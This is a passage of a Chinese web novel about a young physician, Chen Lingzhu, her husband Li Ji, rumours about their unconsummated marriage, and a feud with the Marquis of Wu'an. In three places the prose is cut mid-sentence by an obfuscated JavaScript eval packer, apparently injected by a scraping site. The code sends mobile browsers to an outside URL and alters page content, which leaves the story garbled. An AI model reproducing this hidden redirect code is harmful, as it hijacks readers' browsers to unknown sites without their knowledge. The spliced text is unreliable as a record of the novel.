她顶嘴二夫人不高兴,见她闷不吭声,二夫人更是恼火,继续骂道:“你大了,主意也大了,如今要远走高飞,娘也可以不顾了,还教训起娘来。娘对你的一片心,你就这样拿来糟蹋!老天爷,你说我养儿女做什么,儿子是这样,女儿也是这样……” 说着便抽出帕子抹泪。 李照葵:“……” 又来了。 她知道她不哄母亲这事儿没法收场,只好道:“娘,您别哭了,是我错了,是我不知娘的一片苦心,您看在女儿年纪小不懂事的份上,别跟我计较。” 又哄又劝又保证半天,二夫人才收了泪,回自己的院子去了。 李照葵这才摊在圈椅上,大大地吐出一口气。 这事儿闹的。 她母亲就是这个样子,无论最初是谁做得不妥,最后都会变成别人的不对。 但这是生她养她的母亲,她有什么办法呢。 父亲常年不在府里,有时候确实也是难为母亲了。 李照葵苦笑了一声,转而想起她的亲事。 这件事,最近很是令她忐忑。 不是夫婿不好。夫婿很好,知根知底的,人物俊秀,又有八斗之才,她没有什么不满意的。唯一遗憾的,大概就是要远离亲人,到余杭去。 可除了这些,李照葵的心底,还有一丝难言的恐惧。 恐惧的来源,是她半年前出嫁的的一个闺中密友,见她还有几个月就要出嫁了,偷偷告诉她,说新婚之夜女子有些难挨,不过若是丈夫温柔些,熬过了也就好了。 这话本是闺中密友的经验之谈,重点在于“夫君温柔些,过了也就好了”,但李照葵听了,却只记住了“新婚夜有些难挨”,再加上她偶然得知的只言片语,令她对即将到来的新婚之夜产生了极大的恐惧。 她偷偷让丫鬟去买了小册子,但那小册子上人物的表情,似乎跟受刑也没什么区别。她忍住羞耻,去问她的母亲,母亲说,出嫁的女子都要经历这一遭的,忍一忍就过去了,不是什么大事。 但这话非但没有安抚到她,反而令她更害怕了。 那事儿竟要忍?如何忍? 这个问题困扰了她好几天,她想问一问其他人,一时又不知该问谁。 她想过问她的奶娘,但她的奶娘口极疏,她敢问,奶娘第二天就能让整个镇国公府都知道她曾经问过这个问题。 她想问自己的嫂嫂温月如,可是她跟嫂嫂不算亲密,这样的问题,她有些问不出口。 问题一直没得到解答,日子越近,她便越是难安。 发了一阵子的呆,她才想起,她还没去祖母那儿呢。 虽说母亲所作所为不甚妥当,但不做都做了,她不到祖母那儿去,更为不妥,再说,给祖母请安本就是应当的。她站了起来,给自己鼓了气,带着一点羞意去了太夫人的院子。 …… 因为被傅映瑶看破又说破,陈灵珠彻底恼了,从金玉阁回去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16841661|190011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后足足半天没理李济。 李济自知理亏,笑脸陪了半天,又再三安慰她除了傅映瑶这样留意她的人,没人会发现异常。但他口水说干,脸颊也酸了,她还是不理他。 好在,到了用膳的时候她出来了。 “对不住。”他说:“我不是故意的,别生气了。” 陈灵珠恶狠狠地咬断一颗青菜,咔嚓一声,听得李济心肝儿颤了颤,“那你下次别这样了。” 李济想了想,“我可以答应你。” 陈灵珠脸色稍霁,那登徒子接着道:“但我做不到。” 陈灵珠:“……” 那跟没说有什么区别? 见她在拍案而起的边缘,李济无奈道:“你不喜欢吗?” 平心而论,陈灵珠算不上不喜欢,至少她并不反感,可是!他能不能不要这么用力,能不能不要把她的嘴唇吮得别人,至少是傅映瑶能看出来? 他是脸皮厚不要紧,可她都被他弄得没嘴见人了。 这一点,李济无可辩驳,是他力气控制不好。他对她的嘴唇过于喜爱,所以前几次吻时便有些忘乎所以。 他想了想,提议道:“我有一个办法。” 陈灵珠抬眸看他,他一向足智多谋,或许真有办法也不一定。 她期待地看着他,只见他道:“你知道,就像小孩儿似的,你越不给一个小孩儿什么,他就越想要什么,有时候索性把那件东西给他,让他玩个够,他腻味了,也就好了。” “你别总是躲我,咱们多亲几次,时间一长,我想我应该也就好了。” “你觉得这样可行?” 陈灵珠:“……” 她还是低估了这登徒子不要脸的程度。 她冷笑道:“我有一个更好的办法。” 李济心知不可能是什么好办法,讪讪地:“什么办法?” “你知道,就像小孩儿似的,你给一个小孩儿一件东西,他就会得寸进尺,希望得到更多,不如从一开始就不给,那就不会有那些无谓的念想了。” “夫君管住自己,时间一长,我想夫君应该也就好了。” 李济:“……” 好罢,是他不对在先,她生气也是应该的。 “我答应你,下次我一定注意分寸,控制好力气。” 又道:“我就是练得不够多,练得多了我保证恰如其分。” 这句话是有一定的道理的,打小跟丫鬟胡闹的大概不会这么痴迷,对这件事也会更熟练。陈灵珠想起太夫人对她说的话,“济儿那孩子,你别看他长得一副好相貌,好像很招姑娘喜欢,其实他小小年纪就去了军营,也没怎么跟女子接触过,其实跟块木头差不多。” 虽然还是很气,但看在太夫人的份上,算了算了,暂时不跟他计较。 不过,晚上就寝时,李济发现他和她被一条被子分到了两边。 楚河汉界,明明白白。 区区一条被子想拦得住他?也太小看他了! 他在心里冷笑了一声,但看她闭眼装睡的模样,到底老老实实地,唉声叹气地睡了下去。 罢了,忍一忍罢,以后再加倍讨回来。 58. 第 58 章 次日陈灵珠醒来,那张被子还在,只是不知何时被踢到了墙的那一边,而她自己,则窝在李济的怀里。 她一时分不清是李济干的还是她自己所为,迷糊地坐起身,看了那被子好几眼,又摸了摸嘴唇。 转头看李济,他虽眼睛闭着,嘴角却似乎勾出一个可疑的弧度。 她疑心顿起,爬到他的身侧看他,却见这人双眼紧闭,还发出微微的鼾声。 一看便知是装的。她笑了笑,伸手挠了挠他的下巴,他绷不住,闭着眼睛笑了起来。 陈灵珠笑道:“我就知道你是装的!” 他笑着,然后猛地一个翻身将她压住,按住她乱挠的手,笑道:“少夫人怎的又偷看我。” 他睁开的双眼眼神炯炯清明,哪里有半分睡意? 陈灵珠笑道:“论倒打一耙的本事,夫君当属第一。” 她的中衣宽大,刚才一番打闹,早就溜到了肩膀一旁,露出秀美可人的锁骨。他如何还忍得住,俯下身,低声道:“论吸引为夫的本事,小珠儿才是第一。” 说完,轻轻吻住那让他欲罢不能的樱唇。 他想将她拆吃入腹,好在还保留着一丝理智,尽量控制着力气,不让自己弄疼了她。 他在这方面还算有些天赋,几次过后,力度已算控制得当,放开后,她竟没有怪他。 她的嘴唇红润欲滴,他忍不住又轻琢了几下。 晨曦从窗外透进来,她低声道:“夫君该起来了。” 他嗯了一声,将头埋在她的脖子旁好一会儿,这才恋恋不舍地起来。 陈灵珠也起了床,与他一起用了早饭,送他出了门,自己在院子里荡秋千。 正荡着,丫鬟说葵姑娘来了。 李照葵算是稀客,陈灵珠跳下秋千,“葵妹妹来了?” 李照葵比陈灵珠大两岁,但这一点儿不妨碍她以嫂子自居,她招呼李照葵道:“葵妹妹快进来坐。” 陈灵珠与二夫人关系不怎么样,但与李照葵却相处良好,两人常常凑在一块儿玩,完全没有受到二夫人的影响。 二人进了次间,陈灵珠让丫鬟上茶,然后问李照葵:“葵妹妹今日怎么上我这儿来了?可是有事?” 两人虽常常一起投壶什么的,但李照葵极少到梅林上筑来。看李照葵这个面有难色的模样,应是有事。 李照葵欲言又止,看了看周围的丫鬟。 陈灵珠会意,让所有人退下,道:“葵妹妹有话不妨直言。” 李照葵却一时不知该怎么开口。 她考虑了好久才决定来找陈灵珠的,可是那样的事,对一个未经人事的姑娘来说,实在有点难以启齿。 “二嫂,”犹豫半晌,她咬咬唇,坐到陈灵珠身旁,低声道:“我有一个问题想请教你。” 她这显然是难言之隐了,陈灵珠善解人意地靠近,也低声道:“有什么问题你就问罢,只要我知道。” 李照葵张了张嘴,话未出口,脸却先红了。 陈灵珠继续低声道:“可是身体何处不适?不管哪里,我先帮你看看。” 她知道好些姑娘得了千金科的病却因羞涩而不敢求医,猜想李照葵也是如此。 李照葵却摆了摆手,说自己身体无恙,然后支支吾吾,半天才附到陈灵珠耳边,悄悄说了几句话。 她思来想去,终于决定来找陈灵珠。陈灵珠是个大夫,对这方面应该有些了解。而且陈灵珠与李济刚成婚不久,听说他们不久前才合院,应是不久前才圆的房。圆.房时间不长的人,体验应当最是清楚。而且据她观察,陈灵珠人品颇好,可以信靠,应当不会笑话她的。 但陈灵珠听完,却愣了一愣。 原来李照葵是为这件事烦恼,只是,她虽是个大夫,但说实在的,对这方面,了解得并不多。应该说,她知道的东西都跟疾病相关,对于圆.房该如何圆,疼痛的程度如何,她并没有特别留意过。 她低声道:“我记得一本医书上说,圆.房就像针扎一样,还有一本说像蚂蚁咬。” 李照葵:“……” 医书上说?这么说,这个嫂嫂还是个姑娘? “二嫂和二哥还没圆.房?” 陈灵珠的脸也微微一红,摇头笑道:“没有,你二哥身体还没完全恢复呢。” 说起来,那登徒子这几日虽然总是绞尽脑汁占她的便宜,没完没了地亲吻她,但确实从未提出进一步的要求。 不过这也正常,毕竟他们搬到一起住还没多久,而李济出于身体的考虑暂缓这件事也是应当的。 李照葵半是了然,半是疑惑地点了点头,李济身体好没好全不好说,但按说圆房是完全没问题了呀,难道另有隐情? 陈灵珠:“这件事你可别说出去,不然长辈该过问了。” 圆.房不圆.房是他们夫妻两个的事,可一旦长辈知道了,想必就不能这样简单了。 主要是怕李照葵告诉她娘,到时候二夫人那大嘴巴一说,万一传成件大事,那可不妙。 李照葵忙不迭地点头,她哪里敢把这个说出去。只是,她还以为陈灵珠刚刚圆了房,会更清楚些呢。 陈灵珠学艺不精,也有些歉然,听李照葵说不敢问其他人,便道:“要不,我去问问我的奶娘罢。她守口如瓶,保证不会乱说。” 李照葵想了想,所谓一事不烦二主,陈灵珠若能帮她问到那就再好不过了。便道有劳,然后羞涩地回去了。 待李照葵走后,陈灵珠先去翻了一会儿书,为求真实可信,又去问有经验又靠得住的奶娘。 她跟李济没圆.房是奶娘的一件心事,听到她竟然问起关于圆.房的事情,姜嬷嬷以为她终于开窍了,惊喜万分,怕吓坏了她,奶娘用手指比着指甲盖,示意只有这一点点,“只这一丁点儿,少夫人别害怕。” 虽然是替人问的,自己还是个大夫,面前也是自己最信任的人,但陈灵珠毕竟是个未经人事的小姑娘,奶娘这么一说,她忍不住面红耳赤道:“不是我,我就帮人问问。” 哪有帮人问的呢,奶娘自然是不信的,笑道:“少夫人不必害臊,既嫁了人,迟早有这么一遭。也就是世子受了伤,不然这事儿早就办了。” 陈灵珠:“……” 这件事不能跟奶娘细辨,只好含混过去。 问得确实,陈灵珠趁无人时将李照葵拉到假山旁,告诉她姜嬷嬷的话。 李照葵羞不可抑,但到底略微放下了心。 这件事本来就这么过去了,没想到两人正想各自走开时,忽然一个女声在假山上头道:“你们在说什么?” 两人一惊,双双抬头,傅映瑶正睁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16846043|190011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着大眼睛瞧着她们呢。 原来傅映瑶今日又来镇国公府找陈灵珠,到处找她不见,后来有个丫鬟说看见少夫人在花园,傅映瑶便自己找来了。 为了登高望远好找人,她爬到假山之上,没想到正好听到陈灵珠与李照葵说悄悄话。 李照葵都快羞死了,跟傅映瑶打了声招呼,便脚不沾地地跑了。 傅映瑶道:“她怎么像有老虎在后面追她似的?” 陈灵珠也有些不好意思,岔开话题道:“有事罢。” 傅映瑶见她面色可疑,追问道:“你们刚才在说什么悄悄话呢?不能告诉我?” 陈灵珠是绝对不会出卖李照葵的,李照葵还是个未嫁的姑娘,万一传出去传偏了不像样,便道:“一点儿小事儿罢了。” 但傅映瑶这个一向心大的人却像被打通了任督二脉,一下子变得聪明起来,“见了我就害羞,那个快要嫁人的还跑了,你们……”她悄声道:“该不会是在说圆.房罢?” 猜都被猜出来了,陈灵珠不好否认,便都揽到自己身上道:“是我有些好奇。” 傅映瑶淡淡地哦了一声,停了一瞬,却猛然高声道:“什么!你和济之还没圆.房!” 陈灵珠连忙上手捂住她的嘴,让她小声,“被人听见我就不用见人了!” 她不明白傅映瑶为何大惊小怪,李济伤虽然好了,但毕竟多少伤了元气,他爱惜身体暂时不圆.房不是挺正常的嘛。 傅映瑶笑着道:“你不懂,只要不是身体有病,男人怎么可能忍得住呢,何况身边躺的是你这样的小仙子。” 陈灵珠:“我夫君就忍住了呀。” 傅映瑶:“……” 你还挺骄傲? 所以李济之不正常啊傻妹妹! 她跟张现新婚燕尔的时候,张现只要还有一口气,就不可能躺着什么也不做。有一次他不小心折了一只手臂,她疼惜他,他还不肯呢。 这个年纪的男人,哪有什么柳下惠。 李济是受了伤没错,但骑射都轻轻松松了,圆个房难道还成问题? 看他们夫妻的相处,李济也不是不喜欢陈灵珠,昨日还被她逮到他将陈灵珠的嘴唇亲成那样,那就只能是身体某处出问题了。 傅映瑶从来不知道掩饰为何物,看陈灵珠的目光里就带上了同情。 这么个美貌动人的小姑娘,李济真是暴殄天物。 陈灵珠也是可怜,嫁了这么个伟岸的男人,却中看不中用。 如今她年纪还小,还不知道这事儿有多重要,到了以后…… 想到这里,她幽幽叹了口气。 陈灵珠:“……” “他体内还有余毒未清。” 当时那刺客的匕首是淬了毒的,所以李济不仅中了刀,还中了毒。 傅映瑶摇头,一副高深的模样:“你虽然是个大夫,但你还是什么都不懂。” 陈灵珠迟疑了,她对这方面确实涉猎不多,本来以为李济身体还有余毒,不行.房是理所当然之事,可是按傅映瑶这个说法,似乎不是自己想的那样? “真有那么严重?” 傅映瑶郑重地点头。 “很严重,比你以为的还要严重。” 陈灵珠:“……” 那就……好像确实有些麻烦? 59. 第 59 章 陈灵珠回到了梅林上筑,双手支颐地发呆。 两个丫鬟叫她也没反应,一副神游太虚的模样。 茯苓问紫苏:“少夫人这是怎么了?” 紫苏表示不知,“从花园回来就这样了。” 又道:“不知是不是张少夫人说了什么,反正两人嘀嘀咕咕了好一阵,我问少夫人,她又不说。” 陈灵珠呆了半天,忽然招手叫两个丫鬟过来,然后压低声音问她们:“你们说,世子为何不跟我圆.房呢?” 紫苏:“……” 茯苓:“……” 两人你望望我,我望望你,然后凑到陈灵珠耳边,同样低声道:“少夫人,这个您应该最清楚呀。” 陈灵珠:“我不清楚,所以才要问你们。” 过去她觉得理所当然,因为他们的感情没有到那个份上,而且李济的身体需要时间恢复。可如今想想,李济的身体确实早就恢复得差不多了,虽说还有余毒,但那点毒早就微乎其微。他们如今又同住一室,为何李济未提出此事?以他对她的嘴唇的喜爱,似乎不应该啊。 难道真如傅映瑶所说,这其中有什么难言之隐? 两个丫鬟:“……” 少夫人都不清楚,她们更不清楚。 茯苓想了想道:“难道是世子还没放下替嫁那件事,心里还介意?” 陈灵珠摇头,这件事早就过去了。 尘埃落定的事情,她与李济都没放在心上了,这一点,她可以肯定。 紫苏道:“难道是世子自己长得好看,所以看不上少夫人?” 茯苓拍了她一下,“怎么可能呢,我们少夫人不说沉鱼落雁,闭月羞花,至少也是花容月貌,满京城的姑娘,谁比咱们少夫人好看?就是大姑娘,依我看,也不如咱们少夫人。世子若少夫人都看不上,那就没哪个姑娘能让他看上了。” 陈灵珠也摇头,真嫌弃她就不会镇日含着她的嘴唇不放了,定是别的原因。 紫苏想了想,突然倒抽了一口冷气,“会不是是世子有龙、龙阳之好?” 陈灵珠和茯苓同时看她一眼,紫苏忙自己否定:“不会不会,世子肯定不是。” 她皱着眉头继续苦思冥想,半晌道:“难道是世子脸皮薄,不好意思?” 茯苓忍不住噗嗤一声。 陈灵珠:“……” 看罢,连茯苓这么个稳重人儿都被这个说法逗笑了。 李济的脸皮只怕比城墙还厚,怎么可能会不好意思呢,谁害羞他也不可能害羞。 紫苏想不出理由了,憋了半天道:“莫非是有心而无力? 陈灵珠支颐的双手放了下来。 这可能,就是真相了。 待李济下值回来,她与他一起用过饭,消食了一会儿,自己便去沐浴了,又催着他也去沐浴。李济笑道:“时辰还早,何必着急?” 她推着他往盥室去,“夫君出了一身的臭汗,快去。” 李济闻了闻自己,虽觉得自己不臭,但既然她爱洁,他也不必跟她作对,便笑着去了。沐浴回来还没绕过屏风,便见陈灵珠朝他缓缓走来。 “夫君。”她媚眼如丝地笑着唤他。 她的中衣滑向了一边,露出了一小片光洁的肩膀和秀美可人的锁骨。 脸上脂粉全无,纯净无暇的一张脸,带着一点淡淡的绯色。樱花粉的嘴唇莹润发亮,上面带着若隐若现的一颗唇珠。 他忍不住滚动了一下喉结,下.腹已是如火烧一般。 她将他拉到六角桌旁,让他坐下,笑道:“我给夫君把个平安脉罢。” 李济:“……” 一只手被她按着,他用另一只手抓起桌上的茶壶,给自己倒了一杯冷茶灌了下去。 但这杯茶喝了下去,也不过好像一滴水落在烧得滚烫的木炭上,虽然不能说毫无用处,但也仅仅是聊胜于无。 陈灵珠按了他的尺脉、关脉、寸脉,心中大惑不解。 从脉象来看,李济脉搏强健有力,毫无肾虚、肝郁及气血不足、湿热下注等问题,为何竟至于不能圆.房? 要确定此事,看来只剩一招了。她将中衣往下拉了一点,壮士断腕一般:“夫君,我们圆.房罢!” 李济:“……” 他又灌了两杯冷茶下去,笑道:“怎么突然说起这个?” 昨日还让他亲一下都不肯,今日竟主动提出这种要求,这前后差距,实在让人吃惊。他用手在她眼前招了招,莫非被夺舍了? “我听说,没圆.房的夫妻不算真夫妻。” 她一副视死如归的模样:“我们圆.房罢。” 天知道李济有多想扑上去,但他又猛灌了两杯冷茶下肚,竟强忍了下来。 “圆没圆房你都已经是我李济的妻。” 他捏捏她的鼻子,道:“你还想跑不成?” 她眨眨眼,没被他带偏:“夫君不想吗?” 当然想啊!自从他们合院,天知道他每晚多煎熬,好几次差点出丑。陈灵珠一直不肯同被窝睡,他能由着她就是害怕自己把持不住。 楚大夫说,他这种情况,行.房虽然可以,但要注意分寸,而且他昏迷、养伤期间,什么药都用过了,恐毒素积在体内,于子嗣有碍,最好能过一段时间再要孩子。也就是说,若他们行.房,陈灵珠就要喝避子汤药。 至于一段时间是多久,那白胡子老翁又道:“此事因人而异,有的人快些,有的人慢些,却难有定论。” 李济又问陈灵珠的身体,白胡子老翁道:“珠儿身体康健,只是年岁尚小,最好能晚一些再要孩子。避子汤药药性偏寒,女子以少服用为妙,世子……” 这话不用楚大夫说,他也明白,他也舍不得陈灵珠用什么避子汤药。 “想。”李济如实道:“但我不能。” 陈灵珠:“……” 果然如此。 李济也算大方了,直接就承认了他不能。 听说有些男子为了面子,死活不肯承认自己的毛病呢。 她同情之余又有些佩服地看着他,然后缓缓地“哦”了一声。 李济话一出口,才发现自己说的话有歧义,她这一声“哦”似乎有些意味深长,正担心她想歪了,打算解释解释,果然这小坏蛋道:“夫君,你……不能……不行……无法……,你也别太难过了,凡事总有办法的,我师父师叔都医术高明,定能将你治好。” 这件事情可大可小,既然李济果然有不方便之处,她要劝他赶紧医治。 她自己这方面虽然不精,但她的师父师叔,或者其他的大夫,总有精于此道的。 李济在她头上敲了一下:“想什么呢!你夫君龙.精.虎.猛,哪有不行的道理。” 男人绝不能说“不行”! “夫君,有病就得治,讳疾忌医可不行。”陈灵珠摸着头,睁着圆圆的眼睛,表情甚是诚恳,认真道:“我又不会嘲笑你。你若担心被别人知道,咱们悄悄地出去找我师父……” 李济:“……” “你夫君好得很,什么毛病也没有。” 陈灵珠疑惑道:“那夫君方才说的‘不能’是什么意思?” 而且,她都已经做到如此地步,李济为何还能如此淡定? 李济正在想该怎么解释,陈灵珠道:“是不是夫君不喜欢我的……?” 她低头看了看自己胸前,问李济:“夫君是不是喜欢王二娘、朱三娘那样的?” 这二人都是京城中有名的身段突出。 虽说李济喜欢亲 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师父的话在陈灵珠这里还是很有说服力的。想想也是,李济死里逃生,眼下正是需要调养的时候,怎么可以沉湎于这件事呢。 是她差点被带偏了。 圆不圆.房的真的没那么重要,她暂时也还不想与李济做这种羞人的事。 他笑道:“没想到你比我还着急。” 陈灵珠:“……” 她囧得一股热气直奔脸颊,“我是想岔了。我不急,你别误会。” “不过,”李济话头一转,“虽然暂时不能圆.房,但让你提前验一验,倒也不是不可以。” 陈灵珠:“……” 她快要羞死了,飞快跑上床,用被子将脸蒙住,“谁要验!” 李济跟了过来,笑着摇了摇她:“真的不验?” 陈灵珠在被子里摇头,嗡声道:“不验!” 李济:“不验也好,免得吓着了。” 陈灵珠:“……” 他这么一说,她倒真的想看一眼。 被子外一时没有动静,她悄悄地揭开一点被子,想偷偷看看李济在做什么,小心翼翼地拨开一个小洞往外一看,恰好看到李济两只炯炯有神的眼睛。 陈灵珠:“……” 正要手疾脚快地将被子重新蒙上,他却抢先一步将她的被子拉了过来,将两个人都盖住。黑暗中,他的眼睛闪着亮光。陈灵珠被他看得越发不好意思,想转过身去,他却哪里给她这个机会,笑着牢牢圈住她不让她动。 狭小的空间内,呼吸渐渐灼热,同样灼热的,还有两人的吻。 到陈灵珠快要透不过气来,他才将她松开,喘口气在她耳边低声道:“你不看就不看罢,感受一下也是一样的。” 陈灵珠:“……” 从前她没有留意,可是如今…… 他没有撒谎。 李济后来又去了一趟盥室,半晌才回来。 “对了。”李济问她:“你怎会突然想起这件事了?” 以他对她的了解,若无事发生,她绝不可能如此。 再提此事,陈灵珠有些赧然,但还是把今日她与傅映瑶的对话可以说的部分告诉了李济。 李济:“……” 傅映瑶这个嘴上不把门的,不会明日就将他不能人道的消息传遍整个京城罢? 不过,他这次错看了傅映瑶。 为了她心中的小仙女不受非议,傅映瑶愣是守口如瓶,一个字都没往外说,只自己亲自上生药铺去抓了人参、鹿茸、牛鞭、虎骨、虎鞭、海狗肾等等名贵药草,然后让张现送到镇国公府亲手交给了李济。 李济:“……” 他可真是谢谢他们夫妻。 60. 第 60 章 九月初一这日,陈灵珠去太平门附近找一味药草——她如今闲着也是闲着,有时会帮仁心医馆做点事,只是不公然行医罢了。 药草不难找,她很快找到了,便买了些粿子,到宫门外等上朝的李济。今日是大朝会,李济起晚了,没来得及用早膳,陈灵珠让他带些府里的点心垫肚子,他却说会弄脏朝服,知道她今日要来太平门附近,便告诉她此处的甜味坊粿子味道极好,让她带些粿子等他散朝。 到了宫门外,恰好散朝,百官陆陆续续往外走,陈灵珠吩咐车夫将车停到一旁,自己坐在马车里,微微掀开帘子看着外面的人。 李济久久未出来,她颇有些百无聊赖,便有一搭没一搭地卷着车上的帘子玩。好不容易看到李济出了宫门,正要唤他一声,却见武安侯跟在后面,叫住李济,不知道跟他说些什么。 她看到武安侯有些讶异,如果她没有记错,武安侯不是被撤职了么?虽说还有个爵位,可是离他卖官鬻爵、包庇私挖铁矿才多久,他怎敢这么快就出现在百官面前? 她皱了皱眉,却见武安侯膝盖一弯就要跪下。 李济连忙扶住他,不让他跪,但武安侯年轻时得过本朝第一力士的称号,孔武有力,如今虽然年近五十,力气却依然不可小觑。他用力往下,李济强力撑住,双方打了个平手。 陈灵珠什么也来不及想,以最快的速度跳下马车,然后朝两人冲了过去。 到得近旁,李济和武安侯两人还在僵持,陈灵珠什么也没说,借着袖子的遮掩,迅速将手上的银针扎到武安侯身上,武安侯身上一麻,顿时软软瘫倒。 陈灵珠又趁着旁人不注意,偷偷在武安侯身上再扎了几针,这才夸张地喊道:“周大人这是怎么了!” 李济立刻会意过来,跟着道:“周大人,你怎么了?怎么昏倒了?” 周简又气又急,陈灵珠一过来他就身上一疼一麻,分明有鬼,可是他心里虽清楚,话却说不出来,只能干瞪着眼。 还在附近的官员都围了过来,见武安侯流着口水口不能言,眼睛还瞪得老大,都吃了一惊,“周大人怎么了?” 陈灵珠大声道:“周大人身体空虚,突发病症,此处无药,快送他去医馆。” 众官员听了“身体空虚”四字,心中了然,众人都知道,武安侯最是好色,平日就喜欢去那秦楼楚馆,府中小妾更是无数,这么说,他晕倒,是因为酒色掏空了身体?看他如今口歪鼻斜,难道是马后风? 周府的小厮本来站在马车旁等着自家老爷过来,忽然听到“周大人”三字,扭头望去,才发现主人倒了。 他忙奔过去,见主人反插着双眼,话也说不出来,登时放声大哭。 众人:“……” 武安侯还没死呢。 李济“好心”提醒道:“你先别忙着哭,先带你主人看大夫要紧。” 小厮这才拿衣袖揩了揩鼻涕眼泪,背着武安侯上了马车。 与武安侯交好的官员也连忙跟了去。 周简被小厮送回府中,请了大夫诊治,过了五六个时辰才能开口说话,但身体一时还动不了。想到自己当众丢丑,又被人误以为是酒色掏空了身体,他就恨不得起来将李济和陈灵珠杀了。他手脚动不了,便咬牙切齿地骂:“李济那个王八蛋!陈进那老顽固生的小贱人、贼婆娘,敢暗算老子,老子一定要将他们千刀万剐,碎尸万段!” 他的女儿周凝萱在旁,便问他到底怎么回事,周简略去他故意跪李济一节,只道:“当时那贼娘皮一过来,你爹就倒了,不是那贼婆娘做的,是谁做的?倒是没想到,她还有这个本事!陈进那老匹夫,倒是生了个好女儿,还偏偏嫁给了李济那小贼!” 周凝萱听得陈灵珠竟敢暗算她的父亲,也是怒不可遏,当即道:“好个下黑手的贱人!爹别气,女儿为你报仇!” 周简问她:“你要做什么?” 周凝萱道:“这爹就不必管了,总之这口气,女儿一定替爹出了。” 周简口中虚虚道:“你可别乱来。” 心里却并不想十分阻拦,今日他丢了个大脸,收拾李济要从长计议,收拾个小娘们,难道还要择日? 他这个女儿,手段狠辣,到时姓陈的贼婆娘缺个胳膊少个腿、失了身,那都是有可能的事。 好端端的一个人落得如此下场,他想想都有些替她难过呢。 但无论她变成什么样,只要不死,就影响不了大局。 他叮嘱了一句,“你可别把人弄死了,爹留着人还有用呢。” 周凝萱答应道:“知道了爹,女儿知道该怎么做。” 她嘴里这么说着,心里却有些不以为然。 陈灵珠死了又如何,只要手脚干净些,谁也查不到她头上。 就是她爹说她几句,到时候她就说下手的人没轻重,不小心弄死了。 不过她也不是很在意陈灵珠死不死,因为有时候死不成,可比死了痛苦多了。 …… 陈灵珠和李济上了马车,待与其他官员的马车分开,李济笑着捏了捏她的鼻子道:“鬼灵精!” 陈灵珠抢回鼻子,问他:“夫君,武安侯怎会在此?” 李济道:“他已经官复原职。” 陈灵珠皱了皱眉,“官复原职?” 见李济点了点头肯定,她又问:“那他为何要朝你下跪?” 李济道:“大概是想扣我一个僭越的罪名。” 周简不仅是武安侯,还是淑妃的父亲,如今又官复原职,他跪在李济面前,无论是什么原因,总是引人注目的。李济若是受了这个跪礼,日后就有可能会被倒打一耙,成为僭越的罪证。 陈灵珠听了,眉头紧蹙。 李济问她:“周简会如何?” 陈灵珠道:“过几个时辰便缓解了。” 她有些后悔,她刚才应该多扎几针的,只是让那武安侯瘫几个时辰,便宜他了。只可惜了她的粿子,刚才她一时心急,下马车的时候不小心带了下来,全掉到地上了,后来又被下朝的官员踩了几脚,捡都捡不起来。 李济并不在乎甜味坊的粿子,他只是想让她过来接她而已,见她为那几个粿子可惜,笑道:“不要紧,我们再去买就是了。” 说着便吩咐车夫掉头去甜味坊。 甜味坊的伙计见陈灵珠去而复返,热情地笑道:“少夫人,您又来了?” 他对陈灵珠印象深刻,一是因为陈灵珠的美貌,二来,这位少夫人虽穿着一身简单的道袍,但以他这双利眼,一眼就能看出这少夫人出身富贵。富贵人家的女眷,极少有亲自来买东西的,一般都是丫鬟小厮代劳,但这位少夫人不但亲自来,还认真地挑选了许久。 看到李济,伙计又是眼前一亮,好个俊俏又英气逼人的郎君! “少夫人,这位是您的夫君罢?”伙计一边包陈灵珠要的粿子,一边笑呵呵道:“您跟这位公子相貌真好,郎才女貌,真是天生的一对。” 这个伙计嘴甜,好听话跟不要钱似的往外冒,但陈灵珠知道,这不过是做生意的手段,而且她此时,竟不太笑得出来。 伙计将粿子包好,递给陈灵珠,“少夫人拿好,一共三十文钱。” 陈灵珠正待掏钱,李济已递给伙计一块银子,“不必找了。” 那银子足有二两,伙计眼睛一亮,眉开眼笑道:“多谢公子!有公子这样的夫君,少夫人好福气!” 又看了看陈灵珠,补充道:“有少夫人这样的夫人,公子也好福气!” 两人回到车中,李济给陈灵珠拿了一个粿子,自己也拿了一个。陈灵珠接过粿子,慢慢咬了一口。 李济眉眼含笑,仿佛那粿子是什么无上的美味,她看着他,却有些食不下咽。 “夫君,你能否告诉我,刺杀你的人到底是谁?” 此话一出,他的笑容微滞,咀嚼也慢了下来。 陈灵珠等了一会儿,见他没有告诉自己的意思,点点头,问他:“夫君 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他道:“珠儿,一开始,我对你确实有所防备。但后来,我做的一切,全部出自真心。我只是,需要一点时间。” 时间?她与他成亲已经半年,他们同居一屋,同床共枕,除了没有圆.房,所有夫妻间该做的事情,他们都已经做过了。他需要多长的时间?一年?两年?还是一辈子? “那世子告诉我,你打算怎么应对此事?你如此淡定,显然并不打算坐以待毙,对吗?” “珠儿……” 看他的样子就知道,他不会告诉她的。她也不再咄咄逼人,低下头,咬了一口粿子。这粿子又干又硬,难吃得很,不知为何会大受欢迎。 勉强咽了下去,她意兴阑珊地将手中的粿子放到了一旁,掀开帘子看外面。 